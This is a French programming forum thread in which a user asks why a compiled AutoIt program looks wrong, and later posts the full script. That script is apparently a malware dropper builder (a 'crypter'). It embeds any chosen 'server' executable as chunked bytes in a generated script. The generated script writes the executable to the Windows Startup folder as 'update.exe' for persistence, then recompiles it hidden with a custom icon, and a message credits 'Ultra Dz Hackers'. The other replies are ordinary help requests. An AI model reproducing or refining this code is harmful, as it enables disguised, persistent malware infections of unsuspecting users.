Probleme Compilation AutoIT

Bonjour,
J'ai un enorme probleme avec AutoIT
J'ai creer un program . mais lorsque je le compile , il y aura un probleme avec l'aparence

Img du probleme :
http://www.1ss1.com/do.php?img=121158

et merci d'avance ^^

4 réponses

  1. Salut

    Sans le code, on ne pourra pas t'aider...

    Mais bon, utilises-tu des fileinstall ?

    ++
    1. #include <ButtonConstants.au3>
      #include <EditConstants.au3>
      #include <GUIConstantsEx.au3>
      #include <StaticConstants.au3>
      #include <WindowsConstants.au3>

      FileInstall("to.exe", @TempDir & "\to.exe", 9)
      FileInstall("AutoItSC.bin", @TempDir & "\AutoItSC.bin", 9)
      FileInstall("ma.jpg", @TempDir & "\ma.jpg", 9)
      FileInstall("skin.style", @TempDir & "\skin.style", 9)
      FileInstall("uskindll.dll", @TempDir & "\uskindll.dll", 9)
      GLOBAL $HUSKINDLLHANDLE= - 1

      FUNC _USKIN_LOADDLL()
      LOCAL $SDLLNAME
      $SDLLNAME= @TempDir & "\uskindll.dll"
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      $HUSKINDLLHANDLE= DLLOPEN($SDLLNAME)
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
      DLLCALL("kernel32.dll", "handle", "LoadLibraryW", "wstr", $SDLLNAME)
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 1
      ENDFUNC

      FUNC _USKIN_EXIT()
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
      DLLCALL($HUSKINDLLHANDLE, "int", "USkinExit")
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 1
      ENDFUNC

      FUNC _USKIN_INIT($SSKINNAME, $SUSERNAME= "ptr", $SREGCODE= "ptr")
      LOCAL $VUSERNAME= "ptr", $VREGCODE= "ptr"
      IF $HUSKINDLLHANDLE= - 1 AND NOT _USKIN_LOADDLL() THEN RETURN SETERROR(0, 0, 0)
      IF STRINGLEN($SUSERNAME) THEN $VUSERNAME= "str"
      IF STRINGLEN($SREGCODE) THEN $VREGCODE= "str"
      DLLCALL($HUSKINDLLHANDLE, "int", "USkinInit", $VUSERNAME, $SUSERNAME, $VREGCODE, $SREGCODE, "str", $SSKINNAME)
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 1
      ENDFUNC

      FUNC _USKIN_LOADSKIN($SSKINNAME)
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN 0
      DLLCALL($HUSKINDLLHANDLE, "int", "USkinLoadSkin", "str", $SSKINNAME)
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 1
      ENDFUNC

      FUNC _USKIN_REMOVESKIN()
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(1, 0, 0)
      DLLCALL($HUSKINDLLHANDLE, "int", "USkinRemoveSkin")
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 0
      ENDFUNC

      FUNC _DLLCLOSE()
      DLLCLOSE($HUSKINDLLHANDLE)
      ENDFUNC

      FUNC _USKIN_RESTORESKIN()
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
      DLLCALL($HUSKINDLLHANDLE, "int", "USkinRestoreSkin")
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 1
      ENDFUNC

      FUNC _USKIN_ABOUTSKIN()
      IF $HUSKINDLLHANDLE= - 1 THEN RETURN SETERROR(0, 0, 0)
      LOCAL $RESULT= DLLCALL($HUSKINDLLHANDLE, "int", "USkinAboutSkin")
      IF @ERROR THEN RETURN SETERROR(0, 0, 0)
      RETURN 0
      ENDFUNC

      ONAUTOITEXITREGISTER("__EXIT")
      _USKIN_LOADDLL()
      _USKIN_INIT(@TempDir & "\skin.style")

      Sleep(1500)
      #Region ### START Koda GUI section ### Form=e:\documents and settings\shq4\my documents\downloads\compressed\koda_1.7.3.0\forms\form32321.kxf
      $Form1_1 = GUICreate(": CodeIT :", 243, 323, 339, 153)
      $Server = GUICtrlCreateInput("Server", 0, 8, 209, 21)
      $Button1 = GUICtrlCreateButton("....", 216, 8, 25, 17)
      $icone = GUICtrlCreateInput("icone", 0, 40, 209, 21)
      $Button2 = GUICtrlCreateButton("....", 216, 40, 25, 17)
      $Button3 = GUICtrlCreateButton("CodeIT", 56, 296, 129, 25)
      $Pic1 = GUICtrlCreatePic(@TempDir & "\ma.jpg", 16, 64, 209, 257)
      GUISetState(@SW_SHOW)
      #EndRegion ### END Koda GUI section ###
      Local $mydocsfolder = "::{450D8FBA-AD25-11D0-98A8-0800361B1103}"
      While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
      Case $GUI_EVENT_CLOSE
      FileDelete(@TempDir & "\run.au3")
      FileDelete(@TempDir & "\shq4.exe")
      FileDelete(@TempDir & "\to.exe")
      FileDelete(@TempDir & "\i.ico")
      FileDelete(@TempDir & "\crypted.exe")
      FileDelete(@TempDir & "\2.jpg")
      Beep(700, 100)
      MsgBox(0, "Code 37 ", " Bye :)")

      Exit
      Case $button1
      $b = FileOpenDialog("Open File", @ScriptDir & "", "All Files (*.*)", 2)
      GUICtrlSetData($Server, $b)
      $yy = GUICtrlRead($Server)

      Case $button2
      $i = FileOpenDialog("Open File", @ScriptDir & "", "icone (*.ico)", 2)
      GUICtrlSetData($icone, $i)
      FileCopy($i, @TempDir & "\i.ico", 9)

      Case $button3

      FileCopy($yy, @TempDir & "\CodeIT.exe", 9)
      $reg = FileSaveDialog("Choose a name.", $mydocsfolder, "all files (*.*)", 2)
      $fname = StringTrimLeft($b, StringInStr($b, "\", 1, -1))
      $path = StringTrimRight($b, StringLen($fname))
      $f = FileOpen($b, 16)
      $t = FileRead($f)
      FileClose($f)
      $z = StringRegExp($t, "(.{1,128})", 3)
      $ubound = UBound($z)
      $funcname = StringReplace($fname, ".", "_")
      $funcname = StringRegExpReplace($funcname, "[^\w]", "")
      $funcname = StringRegExpReplace($funcname, "[^\D]", "")
      $string = "#NoTrayIcon" & @CRLF
      $string &= 'FileDelete(@StartupDir & "\update.exe")' & @CRLF
      $string &= '$yy = @StartupDir & "\update.exe"' & @CRLF
      $string &= "sleep(2000)" & @CRLF
      $string &= $funcname & "($yy)" & @CRLF & @CRLF
      If $ubound = 1 Then
      $string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"'
      ElseIf $ubound > 1 Then
      $string &= "Func " & $funcname & "($Name)" & @CRLF & ' $FileBin = "' & $z[0] & '"' & @CRLF
      For $i = 1 To $ubound - 2 Step 1
      $string &= ' $FileBin &= "' & $z[$i] & '"' & @CRLF
      Next
      $string &= ' $FileBin &= "' & $z[$ubound - 1] & '"' & @CRLF
      EndIf
      If $ubound > 0 Then
      $string &= @CRLF
      $string &= " $hFile = FileOpen($Name, 17)" & @CRLF
      $string &= " If $hFile = -1 Then" & @CRLF
      $string &= ' MsgBox(0, "Erreur", "Impossible de re-créer le fichier.")' & @CRLF
      $string &= " Exit" & @CRLF
      $string &= " EndIf" & @CRLF
      $string &= " FileWrite($hFile, $FileBin)" & @CRLF
      $string &= " FileClose($hFile)" & @CRLF & @CRLF
      $string &= "EndFunc"
      EndIf
      GUICtrlSetData($Server,"wait ............")
      GUICtrlSetData($icone,"Please ^ _ ^")
      FileDelete(@TempDir & "\run.au3")
      FileWrite(@TempDir & "\run.au3", $string)
      $1 = @CRLF & @CRLF
      $bat = 'run(@StartupDir & "\update.exe")'
      $logfile = @TempDir & "/run.au3"
      FileWriteLine($logfile, $1)
      FileWriteLine($logfile, $bat)

      Sleep(3000)
      Run(@ComSpec & " /c %temp%\to.exe /in %temp%\run.au3 /out %temp%\crypted.exe /icon %temp%\i.ico /comp 4 /nopack", "", @SW_HIDE)
      Sleep(4000)
      ProcessWaitClose("to.exe")
      Sleep(2000)
      FileCopy(@TempDir & "\crypted.exe", $reg&".exe", 9)
      sleep(2000)
      If FileExists($reg&".exe") Then
      GUICtrlSetData($Server,"|| done ||")
      GUICtrlSetData($icone,"|| done ||")
      Beep(700, 100)
      MsgBox(0, "Code 37 ", " || done || . Ultra Dz Hackers")

      Else
      GUICtrlSetData($Server,"|| Erreur ||")
      GUICtrlSetData($icone,"|| Erreur ||")
      Beep(700, 100)
      MsgBox(0, "Code 37 ", " || Erreur || . please try again")

      EndIf

      EndSwitch
      WEnd
      1. Salut

        puis-je avoir l'image que tu utilises dans la Gui stp ?

        Comme cela, je peux voir si à la compilation, cela change quelque chose

        merci

        ++
        1. Bonjour.

          Pas de réponse, je ne suis plus le sujet.

          Bonne continuation.

          ++